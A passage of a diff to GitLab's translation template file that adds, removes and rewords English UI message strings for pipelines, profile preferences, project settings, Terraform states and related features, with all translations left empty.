-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
